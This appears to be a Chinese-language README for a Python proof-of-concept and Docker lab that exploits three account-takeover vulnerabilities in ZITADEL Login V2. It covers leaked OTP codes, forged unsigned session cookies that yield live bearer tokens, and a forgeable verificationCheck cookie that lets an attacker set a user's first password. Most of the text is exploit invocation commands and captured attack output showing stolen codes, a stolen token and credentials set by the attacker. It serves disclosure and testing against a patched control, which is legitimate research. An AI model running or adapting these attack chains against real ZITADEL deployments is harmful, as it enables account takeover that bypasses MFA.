
针对三个 ZITADEL Login V2 接管漏洞的 Python PoC 与 Docker 实验环境:OTP 验证码泄露、未签名会话 Cookie 令牌窃取,以及可伪造的 verificationCheck 首凭据设置。
一个 PoC 脚本、一个实验环境,三个共享同一攻击面(托管登录 UI 的 Next.js 服务器操作)的 ZITADEL Login V2 严重接管漏洞:
returnCode OTP 投递类型允许仅知道登录名的未认证攻击者直接从服务器操作响应中读取受害者的 OTP-Email 和 OTP-SMS 验证码,并将两者作为已验证的第二因素提交。后端将两个第二因素计为满足 MFA,因此结果是为受害者生成一个标记为 MFA 的会话,而全程无需提供密码、通行密钥或 IdP 登录。这就是 IAM 领域的 Citrix-Bleed 形态:OTP 因素根本不再是第二因素。sessions cookie 是一个未签名的纯 JSON 数组,携带每个会话的实时 bearer token。登录应用使用自己的服务凭据(session.write)将该 cookie 中的会话 ID 转发给会话 API,而会话 API 会为无 token 的更新签发新 token——因此,一个伪造的 cookie 条目,只要包含猜测的(按时间排序的)会话 ID 和空 token,就能让登录应用轮换并交出受害者的已认证会话,且包含 MFA。verificationCheck cookie 是 sha256(userId : fingerprintId),即客户端控制的两个值。伪造该 cookie 可让未认证攻击者为任何尚无认证方法的 ACTIVE 用户(处于引导窗口期的受邀用户和通过 API 预配的用户)设置首个密码(或通行密钥 / IdP 链接),然后以该用户身份登录。三条攻击链均针对本地存在漏洞的构建版本进行了端到端演示,并以完全修补的 4.19.5 实例作为对照。
| CVE-2026-105211 | CVE-2026-109373 | CVE-2026-119128 | |
|---|---|---|---|
| CVSS(厂商) | 9.2 严重(CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N;厂商 CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) | 9.2 严重(CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N;厂商 CVSS 3.1 8.1) | 9.1 严重(CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) |
| 受影响版本 | 4.0.0 - 4.17.0(Login V2 UI;厂商公告将其范围限定为 4.x 系列) | 3.0.0 - 3.4.15 和 4.0.0 - 4.19.1 | 4.0.0 - 4.19.4 |
| 修复版本 | 4.17.1 | 4.19.2 | 4.19.5 |
| CWE(公告) | CWE-200 / CWE-287 / CWE-306 | CWE-441 / CWE-565 | CWE-565 |
| 公告 | GHSA-3gwm-5wx8-4gm6(厂商;数据库公告 GHSA-mq63-7hcv-jfrc)、VulnCheck、NVD | GHSA-jh92-5mrj-p2w2(厂商)、VulnCheck、NVD | GHSA-84fg-x5h4-w8xv(厂商)、VulnCheck、NVD |
| KEV | 未列入(截至 2026-11-14) | 未列入(截至 2026-11-14) | 未列入(截至 2026-11-14) |
| 实验结论 | 在 4.16.3 上已确认,被 4.19.5 拒绝 | 在 4.19.1 上已确认,被 4.19.5 拒绝 | 在 4.19.4 上已确认,被 4.19.5 拒绝 |
前置条件,如实说明:
LoginV2Required 在新实例上默认开启)。仅使用 Login V1 的部署不受影响(见公告中 109373 的范围说明;另外两个漏洞位于 V2 服务器操作中)。# bring up the lab (4 boxes + SMTP catcher); first boot takes a few minutes
bash nginx/generate.sh
docker compose up -d
docker compose ps # wait for api/login healthchecks on all boxes
# provision state per box (SMTP, SMS provider, OTP-enrolled victims, pending user)
python3 lab-setup.py --box v1 && python3 lab-setup.py --box v2 \
&& python3 lab-setup.py --box v3 && python3 lab-setup.py --box ctl
lab-setup.py 会打印下文所需的各 box id(受害者会话目标、119128 目标用户)。Action id 会从每个目标自身的 JavaScript 包中自动提取,因此该脚本可适用于其他构建版本;--version v4.16.3 则固定使用已知的映射表。
# CVE-2026-105211 - OTP codes leak from an identify-only session; victim needs
# OTP-Email + OTP-SMS enrolled (lab-setup.py does this on v1). No credentials used.
python3 poc.py --mode otp --target http://127.0.0.1:8091 \
--login-name victim-otp --control http://127.0.0.1:8094 --admin-pat data/v1/bootstrap/admin.pat
# --target vulnerable instance
# --control patched instance run through the same chain (expected: refusal)
# --login-name / --victim-login etc.: victim identifiers this PoC targets
# --admin-pat: lab-observer PAT, used only for the session-factors readback that
# documents the takeover session; the attack steps never need it
# CVE-2026-109373 - forge the unsigned sessions cookie with a session id and an
# empty token; the login app rotates and hands out that session's live token
python3 poc.py --mode session --target http://127.0.0.1:8092 \
--victim-session-id <victim-session-id> --victim-login victim-cookie \
--control http://127.0.0.1:8094 --admin-pat data/v2/bootstrap/admin.pat
# CVE-2026-119128 - forge the verificationCheck proof and set the first
# credential of an ACTIVE user without methods (target id from lab-setup.py)
python3 poc.py --mode firstcred --target http://127.0.0.1:8093 \
--target-user-id <pending-user-id> --target-login <pending-login> \
--admin-pat data/v3/bootstrap/admin.pat
当链在目标上成功时,每种模式都会以 0 退出;当链被拒绝时,则以 1 退出(所有步骤都会在发生时打印 HTTP 状态码以及泄露/轮换的值)。
原始捕获文件位于 evidence/(实验环境布局见 evidence/00-lab-topology.txt)。
CVE-2026-105211 — 存在漏洞的 4.16.3(左)与已修补的 4.19.5 对照(右),evidence/01:
== CVE-2026-105211 returnCode OTP leak vs http://127.0.0.1:8091
step1 challenge (identify-only session): HTTP 200
leaked otpEmail code = 21242344
leaked otpSms code = 47150966
session id = 399607542914744324
step2 submit stolen codes as checks: HTTP 200
otpEmail verified = True otpSms verified = True
step3 observer readback of the takeover session: HTTP 200
factors.user = True (victim-otp)
otpEmail verified = True
otpSms verified = True
password factor = False <- takeover without password
== CVE-2026-105211 returnCode OTP leak vs http://127.0.0.1:8094
step1 challenge (identify-only session): HTTP 200
leaked otpEmail code = None
leaked otpSms code = None
== control refused the chain, as expected
CVE-2026-109373 — 4.19.1 与对照组,evidence/03:
== CVE-2026-109373 unsigned sessions-cookie takeover vs http://127.0.0.1:8092
attack (forged cookie: victim session id + empty token): HTTP 200
Set-Cookie entry: id=399607618814869516 signed=False token=eyJhbG...U2R0...
ROTATED VICTIM TOKEN OBTAINED (unsigned cookie accepted)
observer readback with the stolen token: HTTP 200
factors.user = True (victim-cookie)
password verified = True <- victim's completed checks ride along
== CVE-2026-109373 unsigned sessions-cookie takeover vs http://127.0.0.1:8094
attack (forged cookie: victim session id + empty token): HTTP 200
Set-Cookie entry: id=399607622354862090 signed=True token=eyJhbG...U2R0...
no rotated token for the victim session (cookie entry ignored or signed build)
CVE-2026-119128 — 4.19.4、evidence/05,以及 4.19.5 对照项 evidence/06:
== CVE-2026-119128 forgeable verificationCheck vs http://127.0.0.1:8093
attack (forged verificationCheck for userId 399607753317810187): HTTP 200
proof cookie = sha256('<userId>:***') = b005ef62b0050e...
action result error = <none - password set>
takeover proof - sign in with the attacker-set password: HTTP 201
session readback: HTTP 200 user=True password-verified=True
== CVE-2026-119128 forgeable verificationCheck vs http://127.0.0.1:8094
attack (forged verificationCheck for userId 399607708052881418): HTTP 200
action result error = User Verification Check has to be done
== target refused the chain